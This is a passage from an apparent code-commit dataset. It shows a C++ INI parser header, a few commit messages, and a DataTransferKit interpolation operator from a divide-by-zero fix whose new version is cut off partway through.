void set_value(const std::string& name, const std::string& value, const std::string& section = \"\")\n {\n ensure_property_exists(section, name);\n sections[section][name] = value;\n\n bool replaced = false;\n std::string current_section = \"\";\n\n \/*\n * Note that references to \"current_section\" refer to the local\n * variable defined above, not the member variable.\n *\/\n for (int i = 0; i < input.size(); ++i)\n {\n std::string& line = input[i];\n if (is_section_start_line(line))\n {\n current_section = extract_section_name(line);\n }\n else if (is_assignment_line(line))\n {\n std::string key = extract_key(line);\n if (key == name && current_section == section)\n {\n line = key;\n line += \"=\";\n line += value;\n replaced = true;\n }\n }\n }\n\n if (replaced)\n {\n write_input_to_file();\n }\n else\n {\n throw std::runtime_error(\"property does not exist so cannot change its value\");\n }\n }\n\n private:\n void create_property_no_section(const std::string& name, const std::string& value)\n {\n std::string line = name + \"=\" + value;\n\n input.insert(input.begin(), line);\n write_input_to_file();\n\n sections[\"\"][name] = value;\n }\n\n void create_property_in_section(const std::string& name, const std::string& value, const std::string& section)\n {\n std::string line = name + \"=\" + value;\n std::string tmp_current_section = \"\";\n\n for (auto it = input.begin(); it != input.end(); ++it)\n {\n if (is_section_start_line(*it))\n {\n tmp_current_section = extract_section_name(*it);\n\n if (tmp_current_section == section)\n {\n input.insert(it + 1, line);\n write_input_to_file();\n sections[section][name] = value;\n return;\n }\n }\n }\n\n \/* Section was not found. *\/\n throw std::runtime_error(\"unable to create property in section\");\n }\n\n void write_input_to_file()\n {\n std::fstream file(filename);\n for (const std::string& line : input)\n {\n file << line << std::endl;\n }\n file.close();\n }\n\n void parse(const std::string& filename)\n {\n std::fstream file;\n file.open(filename);\n if (!file.is_open())\n {\n std::printf(\"error: could not open \\\"%s\\\". terminated parsing.\\n\", filename.c_str());\n file.close();\n return;\n }\n\n std::string line;\n while (std::getline(file, line))\n {\n input.push_back(line);\n\n if (is_comment_line(line))\n {\n continue;\n }\n else if (is_section_start_line(line))\n {\n start_section(line);\n }\n else if (is_assignment_line(line))\n {\n handle_assignment(line);\n }\n }\n }\n\n void start_section(const std::string& line)\n {\n current_section = extract_section_name(line);\n }\n\n std::string extract_section_name(const std::string& line) const\n {\n std::string name;\n\n for (int i = 1; line[i] != ']'; ++i)\n {\n name += line[i];\n }\n\n return name;\n }\n\n void handle_assignment(const std::string& line)\n {\n std::string key = extract_key(line);\n std::string value = extract_value(line);\n\n sections[current_section][key] = value;\n }\n\n std::string extract_key(const std::string& line) const\n {\n std::string key;\n\n for (int i = 0; line[i] != '='; ++i)\n {\n key += line[i];\n }\n\n return key;\n }\n\n std::string extract_value(const std::string& line) const\n {\n std::string value;\n\n int equals_pos;\n for (equals_pos = 0; line[equals_pos] != '='; ++equals_pos)\n {\n \/* Skip to equals sign. *\/\n }\n\n \/* Get everything from the character following the equals sign to the end of the line. *\/\n for (int i = equals_pos + 1; i < line.length(); ++i)\n {\n value += line[i];\n }\n\n return value;\n }\n\n \/*\n * A line is a comment if the first character is a semi-colon.\n *\/\n bool is_comment_line(const std::string& line) const\n {\n return (line.length() > 0) && (line[0] == ';');\n }\n\n \/*\n * A line is the start of a section if the first character is an open\n * bracket and the last character is a closing bracket.\n *\/\n bool is_section_start_line(const std::string& line) const\n {\n return (line.length() > 0) && (line[0] == '[') && (line[line.length() - 1] == ']');\n }\n\n \/*\n * A line contains an assignment if it contains an equals sign and \n * there is text before and after this equals sign.\n *\/\n bool is_assignment_line(const std::string& line) const\n {\n std::size_t equals_pos = line.find(\"=\");\n return (equals_pos != std::string::npos) && (equals_pos != 0) && (equals_pos != line.length() - 1);\n }\n\n void ensure_property_exists(const std::string& section, const std::string& name) const\n {\n if (section != \"\" && sections.find(section) == sections.end())\n {\n throw std::runtime_error(\"section does not exist\");\n }\n\n if (sections.at(section).find(name) == sections.at(section).end())\n {\n throw std::runtime_error(\"property does not exist\");\n }\n }\n\n private:\n const std::string filename;\n std::vector<std::string> input;\n\n typedef std::map<std::string, std::string> properties;\n std::map<std::string, properties> sections;\n\n std::string current_section;\n\n static constexpr const char* BOOL_TRUE = \"TRUE\";\n static constexpr const char* BOOL_FALSE = \"FALSE\";\n};\n\n#endif\n<commit_msg>Accidently deleted the sstream include<commit_after>\/*\n * Copyright (c) 2014 Jake Horsfield\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#ifndef INI_PARSER_H\n#define INI_PARSER_H\n\n#include <map>\n#include <string>\n#include <vector>\n#include <utility>\n#include <sstream>\n#include <fstream>\n#include <stdexcept>\n\n\/* \n * Adds support for functions not available in minGW.\n * http:\/\/pastebin.com\/KMTd7Xtk#\n *\/\n#ifdef __MINGW32__\nnamespace std\n{\n template <class T> std::string to_string(T val)\n {\n std::stringstream ss;\n ss << val;\n return ss.str();\n }\n\n int stoi(const std::string& str)\n {\n std::stringstream ss;\n int ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n\n long stol(const std::string& str)\n {\n std::stringstream ss;\n long ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n\n float stof(const std::string& str)\n {\n std::stringstream ss;\n float ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n\n double stod(const std::string& str)\n {\n std::stringstream ss;\n double ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n}\n#endif \/\/ __MINGW32__\n\nclass ini_parser\n{\n public:\n ini_parser(const std::string& filename)\n : filename(filename)\n , current_section(\"\")\n {\n parse(filename);\n }\n\n void create_property(const std::string& name, const std::string& value, const std::string& section = \"\")\n {\n if (name.empty() || value.empty())\n {\n throw std::runtime_error(\"when creating a property, the name or value cannot be empty\");\n }\n\n if (section.empty())\n {\n create_property_no_section(name, value);\n }\n else\n {\n create_property_in_section(name, value, section);\n }\n }\n\n \/* Writes a new line at the bottom of the file, followed by the start of the section. *\/\n void create_section(const std::string& name)\n {\n if (name.empty())\n {\n throw std::runtime_error(\"when creating section, its name cannot be empty\");\n }\n\n std::string line = \"\\n[\" + name + \"]\";\n input.push_back(line);\n write_input_to_file();\n }\n\n int get_int(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stoi(sections.at(section).at(name));\n }\n\n \/*\n * The legal values for bools are BOOL_TRUE and BOOL_FALSE.\n * Anything other than these values are illegal.\n *\/\n bool get_bool(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n\n std::string value = sections.at(section).at(name);\n if (value == BOOL_TRUE)\n {\n return true;\n }\n else if (value == BOOL_FALSE)\n {\n return false;\n }\n else\n {\n throw std::runtime_error(\"unable to cast to bool\");\n }\n }\n\n long get_long(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stol(sections.at(section).at(name));\n }\n\n float get_float(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stof(sections.at(section).at(name));\n }\n\n double get_double(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stod(sections.at(section).at(name));\n }\n\n std::string get_string(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return sections.at(section).at(name);\n }\n\n void set_value(const std::string& name, int value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n void set_value(const std::string& name, bool value, const std::string& section = \"\")\n {\n set_value(name, (value ? BOOL_TRUE : BOOL_FALSE), section);\n }\n\n void set_value(const std::string& name, long value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n void set_value(const std::string& name, float value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n void set_value(const std::string& name, double value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n void set_value(const std::string& name, const std::string& value, const std::string& section = \"\")\n {\n ensure_property_exists(section, name);\n sections[section][name] = value;\n\n bool replaced = false;\n std::string current_section = \"\";\n\n \/*\n * Note that references to \"current_section\" refer to the local\n * variable defined above, not the member variable.\n *\/\n for (int i = 0; i < input.size(); ++i)\n {\n std::string& line = input[i];\n if (is_section_start_line(line))\n {\n current_section = extract_section_name(line);\n }\n else if (is_assignment_line(line))\n {\n std::string key = extract_key(line);\n if (key == name && current_section == section)\n {\n line = key;\n line += \"=\";\n line += value;\n replaced = true;\n }\n }\n }\n\n if (replaced)\n {\n write_input_to_file();\n }\n else\n {\n throw std::runtime_error(\"property does not exist so cannot change its value\");\n }\n }\n\n private:\n void create_property_no_section(const std::string& name, const std::string& value)\n {\n std::string line = name + \"=\" + value;\n\n input.insert(input.begin(), line);\n write_input_to_file();\n\n sections[\"\"][name] = value;\n }\n\n void create_property_in_section(const std::string& name, const std::string& value, const std::string& section)\n {\n std::string line = name + \"=\" + value;\n std::string tmp_current_section = \"\";\n\n for (auto it = input.begin(); it != input.end(); ++it)\n {\n if (is_section_start_line(*it))\n {\n tmp_current_section = extract_section_name(*it);\n\n if (tmp_current_section == section)\n {\n input.insert(it + 1, line);\n write_input_to_file();\n sections[section][name] = value;\n return;\n }\n }\n }\n\n \/* Section was not found. *\/\n throw std::runtime_error(\"unable to create property in section\");\n }\n\n void write_input_to_file()\n {\n std::fstream file(filename);\n for (const std::string& line : input)\n {\n file << line << std::endl;\n }\n file.close();\n }\n\n void parse(const std::string& filename)\n {\n std::fstream file;\n file.open(filename);\n if (!file.is_open())\n {\n std::printf(\"error: could not open \\\"%s\\\". terminated parsing.\\n\", filename.c_str());\n file.close();\n return;\n }\n\n std::string line;\n while (std::getline(file, line))\n {\n input.push_back(line);\n\n if (is_comment_line(line))\n {\n continue;\n }\n else if (is_section_start_line(line))\n {\n start_section(line);\n }\n else if (is_assignment_line(line))\n {\n handle_assignment(line);\n }\n }\n }\n\n void start_section(const std::string& line)\n {\n current_section = extract_section_name(line);\n }\n\n std::string extract_section_name(const std::string& line) const\n {\n std::string name;\n\n for (int i = 1; line[i] != ']'; ++i)\n {\n name += line[i];\n }\n\n return name;\n }\n\n void handle_assignment(const std::string& line)\n {\n std::string key = extract_key(line);\n std::string value = extract_value(line);\n\n sections[current_section][key] = value;\n }\n\n std::string extract_key(const std::string& line) const\n {\n std::string key;\n\n for (int i = 0; line[i] != '='; ++i)\n {\n key += line[i];\n }\n\n return key;\n }\n\n std::string extract_value(const std::string& line) const\n {\n std::string value;\n\n int equals_pos;\n for (equals_pos = 0; line[equals_pos] != '='; ++equals_pos)\n {\n \/* Skip to equals sign. *\/\n }\n\n \/* Get everything from the character following the equals sign to the end of the line. *\/\n for (int i = equals_pos + 1; i < line.length(); ++i)\n {\n value += line[i];\n }\n\n return value;\n }\n\n \/*\n * A line is a comment if the first character is a semi-colon.\n *\/\n bool is_comment_line(const std::string& line) const\n {\n return (line.length() > 0) && (line[0] == ';');\n }\n\n \/*\n * A line is the start of a section if the first character is an open\n * bracket and the last character is a closing bracket.\n *\/\n bool is_section_start_line(const std::string& line) const\n {\n return (line.length() > 0) && (line[0] == '[') && (line[line.length() - 1] == ']');\n }\n\n \/*\n * A line contains an assignment if it contains an equals sign and \n * there is text before and after this equals sign.\n *\/\n bool is_assignment_line(const std::string& line) const\n {\n std::size_t equals_pos = line.find(\"=\");\n return (equals_pos != std::string::npos) && (equals_pos != 0) && (equals_pos != line.length() - 1);\n }\n\n void ensure_property_exists(const std::string& section, const std::string& name) const\n {\n if (section != \"\" && sections.find(section) == sections.end())\n {\n throw std::runtime_error(\"section does not exist\");\n }\n\n if (sections.at(section).find(name) == sections.at(section).end())\n {\n throw std::runtime_error(\"property does not exist\");\n }\n }\n\n private:\n const std::string filename;\n std::vector<std::string> input;\n\n typedef std::map<std::string, std::string> properties;\n std::map<std::string, properties> sections;\n\n std::string current_section;\n\n static constexpr const char* BOOL_TRUE = \"TRUE\";\n static constexpr const char* BOOL_FALSE = \"FALSE\";\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Extract the group token conversion loop out into a separate class.<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>Planning: add weight_end_dx on piecewise_jerk_speed<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>fix coverity#1187656<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/---------------------------------------------------------------------------\/\/\n\/*\n Copyright (c) 2012, Stuart R. Slattery\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are\n met:\n\n *: Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n\n *: Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n\n *: Neither the name of the University of Wisconsin - Madison nor the\n names of its contributors may be used to endorse or promote products\n derived from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief DTK_ConsistentInterpolationOperator.cpp\n * \\author Stuart R. Slattery\n * \\brief Consistent interpolation operator.\n *\/\n\/\/---------------------------------------------------------------------------\/\/\n\n#include <algorithm>\n#include <unordered_map>\n\n#include \"DTK_BasicEntityPredicates.hpp\"\n#include \"DTK_ConsistentInterpolationOperator.hpp\"\n#include \"DTK_DBC.hpp\"\n#include \"DTK_ParallelSearch.hpp\"\n#include \"DTK_PredicateComposition.hpp\"\n\n#include <Teuchos_OrdinalTraits.hpp>\n\n#include <Tpetra_Distributor.hpp>\n#include <Tpetra_Map.hpp>\n\nnamespace DataTransferKit\n{\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Constructor.\nConsistentInterpolationOperator::ConsistentInterpolationOperator(\n const Teuchos::RCP<const TpetraMap> &domain_map,\n const Teuchos::RCP<const TpetraMap> &range_map,\n const Teuchos::ParameterList ¶meters )\n : Base( domain_map, range_map )\n , d_range_entity_dim( 0 )\n , d_keep_missed_sol( false )\n , d_missed_range_entity_ids( 0 )\n{\n \/\/ Get the topological dimension of the range entities.\n Teuchos::ParameterList map_list =\n parameters.sublist( \"Consistent Interpolation\" );\n if ( map_list.isParameter( \"Range Entity Dimension\" ) )\n {\n d_range_entity_dim = map_list.get<int>( \"Range Entity Dimension\" );\n }\n\n \/\/ Get the search list.\n d_search_list = parameters.sublist( \"Search\" );\n\n \/\/ If we want to keep the range data when we miss entities instead of\n \/\/ zeros, turn this on.\n if ( map_list.isParameter( \"Keep Missed Range Data\" ) )\n {\n d_keep_missed_sol = map_list.get<bool>( \"Keep Missed Range Data\" );\n if ( d_keep_missed_sol )\n {\n d_search_list.set( \"Track Missed Range Entities\", true );\n }\n }\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Setup the map operator.\nvoid ConsistentInterpolationOperator::setupImpl(\n const Teuchos::RCP<FunctionSpace> &domain_space,\n const Teuchos::RCP<FunctionSpace> &range_space )\n{\n DTK_REQUIRE( Teuchos::nonnull( domain_space ) );\n DTK_REQUIRE( Teuchos::nonnull( range_space ) );\n\n \/\/ Extract the Support maps.\n const Teuchos::RCP<const typename Base::TpetraMap> domain_map =\n this->getDomainMap();\n const Teuchos::RCP<const typename Base::TpetraMap> range_map =\n this->getRangeMap();\n\n \/\/ Get the parallel communicator.\n Teuchos::RCP<const Teuchos::Comm<int>> comm = domain_map->getComm();\n\n \/\/ Determine if we have range and domain data on this process.\n bool nonnull_domain = Teuchos::nonnull( domain_space->entitySet() );\n bool nonnull_range = Teuchos::nonnull( range_space->entitySet() );\n\n \/\/ Get the physical dimension.\n int physical_dimension = 0;\n if ( nonnull_domain )\n {\n physical_dimension = domain_space->entitySet()->physicalDimension();\n }\n else if ( nonnull_range )\n {\n physical_dimension = range_space->entitySet()->physicalDimension();\n }\n\n \/\/ Get an iterator over the domain entities.\n EntityIterator domain_iterator;\n if ( nonnull_domain )\n {\n LocalEntityPredicate local_predicate(\n domain_space->entitySet()->communicator()->getRank() );\n PredicateFunction domain_predicate = PredicateComposition::And(\n domain_space->selectFunction(), local_predicate.getFunction() );\n domain_iterator = domain_space->entitySet()->entityIterator(\n domain_space->entitySet()->physicalDimension(), domain_predicate );\n }\n\n \/\/ Build a parallel search over the domain.\n ParallelSearch psearch( comm, physical_dimension, domain_iterator,\n domain_space->localMap(), d_search_list );\n\n \/\/ Get an iterator over the range entities.\n EntityIterator range_iterator;\n if ( nonnull_range )\n {\n LocalEntityPredicate local_predicate(\n range_space->entitySet()->communicator()->getRank() );\n PredicateFunction range_predicate = PredicateComposition::And(\n range_space->selectFunction(), local_predicate.getFunction() );\n range_iterator = range_space->entitySet()->entityIterator(\n d_range_entity_dim, range_predicate );\n }\n\n \/\/ Search the domain with the range.\n psearch.search( range_iterator, range_space->localMap(), d_search_list );\n\n \/\/ If we are keeping track of range entities that were not mapped, extract\n \/\/ them.\n d_missed_range_entity_ids =\n Teuchos::Array<EntityId>( psearch.getMissedRangeEntityIds() );\n\n \/\/ Determine the Support ids for the range entities found in the local\n \/\/ domain\n \/\/ on this process and the number of domain entities they were found in\n \/\/ globally for averaging.\n std::unordered_map<EntityId, GO> range_support_id_map;\n Teuchos::RCP<Tpetra::Vector<double, int, SupportId, Node>> scale_vector =\n Tpetra::createVector<double, int, SupportId, Node>( range_map );\n {\n \/\/ Extract the set of local range entities that were found in domain\n \/\/ entities.\n Teuchos::Array<int> export_ranks;\n Teuchos::Array<GO> export_data;\n Teuchos::Array<EntityId> domain_ids;\n Teuchos::Array<EntityId>::const_iterator domain_id_it;\n Teuchos::Array<GO> range_support_ids;\n EntityIterator range_it;\n EntityIterator range_begin = range_iterator.begin();\n EntityIterator range_end = range_iterator.end();\n for ( range_it = range_begin; range_it != range_end; ++range_it )\n {\n \/\/ Get the support id for the range entity.\n range_space->shapeFunction()->entitySupportIds( *range_it,\n range_support_ids );\n DTK_CHECK( 1 == range_support_ids.size() );\n\n \/\/ Get the domain entities in which the range entity was found.\n psearch.getDomainEntitiesFromRange( range_it->id(), domain_ids );\n\n \/\/ Add a scale factor for this range entity to the scaling vector.\n DTK_CHECK( range_map->isNodeGlobalElement( range_support_ids[0] ) );\n scale_vector->replaceGlobalValue( range_support_ids[0],\n 1.0 \/ domain_ids.size() );\n\n \/\/ For each supporting domain entity, pair the range entity id and\n \/\/ its support id.\n for ( domain_id_it = domain_ids.begin();\n domain_id_it != domain_ids.end(); ++domain_id_it )\n {\n export_ranks.push_back(\n psearch.domainEntityOwnerRank( *domain_id_it ) );\n\n export_data.push_back( range_support_ids[0] );\n export_data.push_back( Teuchos::as<GO>( range_it->id() ) );\n }\n }\n\n \/\/ Communicate the range entity Support data back to the domain parallel\n \/\/ decomposition.\n Tpetra::Distributor range_to_domain_dist( comm );\n int num_import = range_to_domain_dist.createFromSends( export_ranks() );\n Teuchos::Array<GO> import_data( 2 * num_import );\n Teuchos::ArrayView<const GO> export_data_view = export_data();\n range_to_domain_dist.doPostsAndWaits( export_data_view, 2,\n import_data() );\n\n \/\/ Map the range entities to their support ids.\n for ( int i = 0; i < num_import; ++i )\n {\n range_support_id_map.emplace(\n Teuchos::as<EntityId>( import_data[2 * i + 1] ),\n import_data[2 * i] );\n }\n }\n\n \/\/ Allocate the coupling matrix.\n d_coupling_matrix = Tpetra::createCrsMatrix<double, LO, GO>( range_map );\n\n \/\/ Construct the entries of the coupling matrix.\n Teuchos::Array<EntityId> range_entity_ids;\n Teuchos::Array<EntityId>::const_iterator range_entity_id_it;\n Teuchos::ArrayView<const double> range_parametric_coords;\n Teuchos::Array<double> domain_shape_values;\n Teuchos::Array<double>::iterator domain_shape_it;\n Teuchos::Array<GO> domain_support_ids;\n EntityIterator domain_it;\n EntityIterator domain_begin = domain_iterator.begin();\n EntityIterator domain_end = domain_iterator.end();\n for ( domain_it = domain_begin; domain_it != domain_end; ++domain_it )\n {\n \/\/ Get the domain Support ids supporting the domain entity.\n domain_space->shapeFunction()->entitySupportIds( *domain_it,\n domain_support_ids );\n\n \/\/ Get the range entities that mapped into this domain entity.\n psearch.getRangeEntitiesFromDomain( domain_it->id(), range_entity_ids );\n\n \/\/ Sum into the global coupling matrix row for each domain.\n for ( range_entity_id_it = range_entity_ids.begin();\n range_entity_id_it != range_entity_ids.end();\n ++range_entity_id_it )\n {\n \/\/ Get the parametric coordinates of the range entity in the\n \/\/ domain entity.\n psearch.rangeParametricCoordinatesInDomain(\n domain_it->id(), *range_entity_id_it, range_parametric_coords );\n\n \/\/ Evaluate the shape function at the coordinates.\n domain_space->shapeFunction()->evaluateValue(\n *domain_it, range_parametric_coords, domain_shape_values );\n DTK_CHECK( domain_shape_values.size() ==\n domain_support_ids.size() );\n\n \/\/ Consistent interpolation requires one support location per\n \/\/ range entity. Load the row for this range support location into\n \/\/ the matrix.\n DTK_CHECK( range_support_id_map.count( *range_entity_id_it ) );\n d_coupling_matrix->insertGlobalValues(\n range_support_id_map.find( *range_entity_id_it )->second,\n domain_support_ids(), domain_shape_values() );\n }\n }\n\n \/\/ Finalize the coupling matrix.\n d_coupling_matrix->fillComplete( domain_map, range_map );\n\n \/\/ Left-scale the matrix with the number of domain entities in which each\n \/\/ range entity was found.\n d_coupling_matrix->leftScale( *scale_vector );\n\n \/\/ If we want to keep the range data when we miss points, create the\n \/\/ scaling vector.\n if ( d_keep_missed_sol )\n {\n d_keep_range_vec =\n Tpetra::createVector<double, LO, GO, Node>( range_map );\n for ( auto &m : d_missed_range_entity_ids )\n {\n d_keep_range_vec->replaceGlobalValue( m, 1.0 );\n }\n }\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Apply the operator.\nvoid ConsistentInterpolationOperator::applyImpl( const TpetraMultiVector &X,\n TpetraMultiVector &Y,\n Teuchos::ETransp mode,\n double alpha,\n double beta ) const\n{\n \/\/ If we want to keep the range data when we miss points, make a work vec\n \/\/ and get the parts we will zero out. Beta must be zero or the interface\n \/\/ is violated.\n Teuchos::RCP<Tpetra::Vector<Scalar, LO, GO, Node>> work_vec;\n if ( d_keep_missed_sol )\n {\n DTK_REQUIRE( 0.0 == beta );\n DTK_REQUIRE( Teuchos::nonnull( d_keep_range_vec ) );\n work_vec =\n Tpetra::createVector<double, LO, GO, Node>( this->getRangeMap() );\n work_vec->elementWiseMultiply( 1.0, *d_keep_range_vec, Y, 0.0 );\n }\n\n \/\/ Apply the coupling matrix.\n d_coupling_matrix->apply( X, Y, mode, alpha, beta );\n\n \/\/ If we want to keep the range data when we miss points, add back in the\n \/\/ components that got zeroed out.\n if ( d_keep_missed_sol )\n {\n Y.update( 1.0, *work_vec, 1.0 );\n }\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Transpose apply option.\nbool ConsistentInterpolationOperator::hasTransposeApplyImpl() const\n{\n return true;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Return the ids of the range entities that were not mapped during the last\n\/\/ setup phase (i.e. those that are guaranteed to not receive data from the\n\/\/ transfer).\nTeuchos::ArrayView<const EntityId>\nConsistentInterpolationOperator::getMissedRangeEntityIds() const\n{\n return d_missed_range_entity_ids();\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\n} \/\/ end namespace DataTransferKit\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ end DTK_ConsistentInterpolationOperator.cpp\n\/\/---------------------------------------------------------------------------\/\/\n<commit_msg>Do not divide by zero.<commit_after>\/\/---------------------------------------------------------------------------\/\/\n\/*\n Copyright (c) 2012, Stuart R. Slattery\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are\n met:\n\n *: Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n\n *: Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n\n *: Neither the name of the University of Wisconsin - Madison nor the\n names of its contributors may be used to endorse or promote products\n derived from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\/\/---------------------------------------------------------------------------\/\/\n\/*!\n * \\brief DTK_ConsistentInterpolationOperator.cpp\n * \\author Stuart R. Slattery\n * \\brief Consistent interpolation operator.\n *\/\n\/\/---------------------------------------------------------------------------\/\/\n\n#include <algorithm>\n#include <unordered_map>\n\n#include \"DTK_BasicEntityPredicates.hpp\"\n#include \"DTK_ConsistentInterpolationOperator.hpp\"\n#include \"DTK_DBC.hpp\"\n#include \"DTK_ParallelSearch.hpp\"\n#include \"DTK_PredicateComposition.hpp\"\n\n#include <Teuchos_OrdinalTraits.hpp>\n\n#include <Tpetra_Distributor.hpp>\n#include <Tpetra_Map.hpp>\n\nnamespace DataTransferKit\n{\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Constructor.\nConsistentInterpolationOperator::ConsistentInterpolationOperator(\n const Teuchos::RCP<const TpetraMap> &domain_map,\n const Teuchos::RCP<const TpetraMap> &range_map,\n const Teuchos::ParameterList ¶meters )\n : Base( domain_map, range_map )\n , d_range_entity_dim( 0 )\n , d_keep_missed_sol( false )\n , d_missed_range_entity_ids( 0 )\n{\n \/\/ Get the topological dimension of the range entities.\n Teuchos::ParameterList map_list =\n parameters.sublist( \"Consistent Interpolation\" );\n if ( map_list.isParameter( \"Range Entity Dimension\" ) )\n {\n d_range_entity_dim = map_list.get<int>( \"Range Entity Dimension\" );\n }\n\n \/\/ Get the search list.\n d_search_list = parameters.sublist( \"Search\" );\n\n \/\/ If we want to keep the range data when we miss entities instead of\n \/\/ zeros, turn this on.\n if ( map_list.isParameter( \"Keep Missed Range Data\" ) )\n {\n d_keep_missed_sol = map_list.get<bool>( \"Keep Missed Range Data\" );\n if ( d_keep_missed_sol )\n {\n d_search_list.set( \"Track Missed Range Entities\", true );\n }\n }\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Setup the map operator.\nvoid ConsistentInterpolationOperator::setupImpl(\n const Teuchos::RCP<FunctionSpace> &domain_space,\n const Teuchos::RCP<FunctionSpace> &range_space )\n{\n DTK_REQUIRE( Teuchos::nonnull( domain_space ) );\n DTK_REQUIRE( Teuchos::nonnull( range_space ) );\n\n \/\/ Extract the Support maps.\n const Teuchos::RCP<const typename Base::TpetraMap> domain_map =\n this->getDomainMap();\n const Teuchos::RCP<const typename Base::TpetraMap> range_map =\n this->getRangeMap();\n\n \/\/ Get the parallel communicator.\n Teuchos::RCP<const Teuchos::Comm<int>> comm = domain_map->getComm();\n\n \/\/ Determine if we have range and domain data on this process.\n bool nonnull_domain = Teuchos::nonnull( domain_space->entitySet() );\n bool nonnull_range = Teuchos::nonnull( range_space->entitySet() );\n\n \/\/ Get the physical dimension.\n int physical_dimension = 0;\n if ( nonnull_domain )\n {\n physical_dimension = domain_space->entitySet()->physicalDimension();\n }\n else if ( nonnull_range )\n {\n physical_dimension = range_space->entitySet()->physicalDimension();\n }\n\n \/\/ Get an iterator over the domain entities.\n EntityIterator domain_iterator;\n if ( 